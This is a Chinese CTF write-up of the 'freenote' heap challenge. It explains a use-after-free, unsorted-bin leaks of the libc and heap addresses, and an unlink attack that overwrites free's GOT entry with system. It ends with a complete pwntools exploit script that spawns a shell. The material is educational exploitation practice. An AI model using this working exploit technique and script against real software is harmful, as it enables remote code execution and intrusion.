xman夏令营 freenote
这道题做了一天半,最后终于搞出来了。有很多细节需要注意下。
拿到题目看是freenote肯定就是个堆题,也没看保护直接ida一波走起,大略的看了一下很快发现了漏洞,在delete函数中free掉chunk后没有在chunk list对应的index中置null,导致有个野指针指向了free chunk。
一个野指针能做什么,一开始想的是能否通过double free造一个任意地址写,不过发现这题没有溢出,而且它的new函数中规定你malloc的chunk大小必须为0x80的整数,这样连fastbin都没有了,所以干脆放弃了fastbin attack的思路。
接着想0x80的整数倍,那么它free的时候会先放到unsorted bin中,chunk的fd和bk会指向main_arena,此时如果我们再new一个8字节的padding,因为不是0x80的倍数,所以默认分配0x80大小的chunk,覆盖原来free掉的chunk,就可以泄露main_arena的值,也就是原free chunk的bk(其实最后一个字节是固定的,也可以泄露fd)。一旦我们get到unsorted bin的表头地址,因为偏移固定,所以我们可以计算出libc基址,这样的话system和binsh等一些东西的地址就知道了。
接下来就是解题的关键所在,知道libc后我们该如何继续去做,看一下edit函数,发现它的逻辑是如果新的输入长度大小原来的输入长度,就会在新的位置realloc一个chunk,如果小于原来的长度才能覆盖原来的chunk。好像也没啥问题,反正就是不能溢出,直接改free chunk的fd和bk不现实,这时候考虑到使用unlink,通过伪造fake chunk来修改chunk list中的值,最后利用edit函数进行修改,很完美,应该就是这种思路。
得知要利用unlink的时候可以想到,首先要知道目标fd和bk的地址,这里由于chunk list是构造在堆上的,所以地址需要泄露,如何泄露,还是unsorted bin,和泄露libc一样的思路,只不过这里需要malloc 4个chunk,delete两个chunk使之有对应的fd和bk,而且delete chunk的顺序需要注意下,防止top chunk从后面进行合并。这样的话我们第一个chunk的指针就能泄露了。由于程序在一开始malloc了一个0x1810大小的chunk,所以偏移可以说是固定的,得到的first allocated chunk的堆地址减去0x1810后得到的就是chunk list ptr的地址了。
最后考虑unlink,需要注意的是之前每次泄露之后都需要清理下chunk,让top进行合并,否则堆结构被破坏会报一些奇怪的错。
unlink这里的操作是先malloc一个大一点的chunk,可以是0x802或0x803,然后在这块大的chunk中构造两个正常的0x80大小的chunk,一个fake chunk,一个正常chunk,这里由于是在一个堆快内,所以元数据可以任意进行构造,构造完成之后delete第二个堆快,因为chunk list中的指针并没有置null,所以这里可以free掉第二个chunk构造unlink。
unlink的时候会有检查,包括size和fd、bk,p->size==(p->nextchunk).prevsize,p==(p->fd)->bk,p==(p->bk)->fd,基本就这样,这个可以根据chunk list的堆结构比划一下,应该不难构造。
unlink完成后chunk list就能写了,使用程序自带的edit函数先把free got写入,之后再次edit写system。一开始想的是写atoi,但是atoi在edit中有使用,所以就去写free got了,这里应该也可以one_gadget,待会再试一下。
总的来说这道题还是有点烦的,当然也是我水平不够,没有一眼就看出如何利用,导致审洞+写exp花了很长时间,继续加油吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| from pwn import * p=process('./freenote') elf=ELF('./freenote') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(x): p.recvuntil('Your choice: ') p.sendline('2') p.recvuntil('Length of new note: ') p.sendline(str(len(x))) p.recvuntil('Enter your note: ') p.sendline(x)
def show(): p.recvuntil('Your choice: ') p.sendline('1')
def edit(x,y): p.recvuntil("Your choice: ") p.send("3\n") p.recvuntil("Note number: ") p.send(str(x)+"\n") p.recvuntil("Length of note: ") p.send(str(len(y))+"\n") p.recvuntil("Enter your note: ") p.send(y)
def dele(idx): p.recvuntil('Your choice: ') p.sendline('4') p.recvuntil('Note number: ') p.sendline(str(idx))
add('a'*0x80) add('b'*0x80) dele(0) add('\x78') show() p.recvuntil('0. ')
main_arena=u64(p.recv(6).ljust(8,'\x00')) log.info('main_arena > '+hex(main_arena)) libc_base=main_arena-0x3c4b78 log.info('libc_base > '+hex(libc_base)) system_address=libc_base+libc.symbols['system'] binsh_address=libc_base+libc.search('/bin/sh').next() log.info('system_address > '+hex(system_address)) log.info('binsh_address > '+hex(binsh_address))
dele(1) dele(0)
add('a'*0x80) add('b'*0x80) add('c'*0x80) add('d'*0x80) dele(2) dele(0) add('A'*8) show() p.recvuntil('0. AAAAAAAA') heap_address=(u64(p.recv(4).ljust(8,'\x00'))) heap=heap_address-0x1810
log.info('heap_chunk_ptr > '+hex(heap)) dele(3) dele(0) dele(1)
payload=(p64(0)+p64(0x81)+p64(heap+0x8)+p64(heap+0x10)+'0'*0x60+p64(0x80)+p64(0x90)+'1'*0x80)+p64(0)+p64(0x80+0x11)+"1"*(0x80-0x20) add(payload) log.info('heap > '+hex(heap)) dele(1) atoi_address=elf.got['atoi'] log.info('atoi_got > '+hex(atoi_address))
''' #p.sednline(p64(0x0)+p64(1)+p64(0x80)+p64(system_address)) payload2=p64(0x80)+p64(1)+p64(0x8)+ p64(atoi_address)+"A"*16+p64(binsh_address) payload2+="A"*(0x60*3-len(payload2)) edit(0,payload2) edit(0,p64(system_address)) p.recvuntil("Your choice: ") p.sendline('/bin/sh\x00') #edit function used atoi so you could not write atoi got ''' free_got = 0x602018 payload2 = p64(0x80) + p64(1) + p64(0x8) + p64(free_got) + "A"*16 + p64(binsh_address) payload2 += "A"* (0x80*3-len(payload2)) edit(0, payload2) edit(0, p64(system_address)) dele(1) p.interactive()
|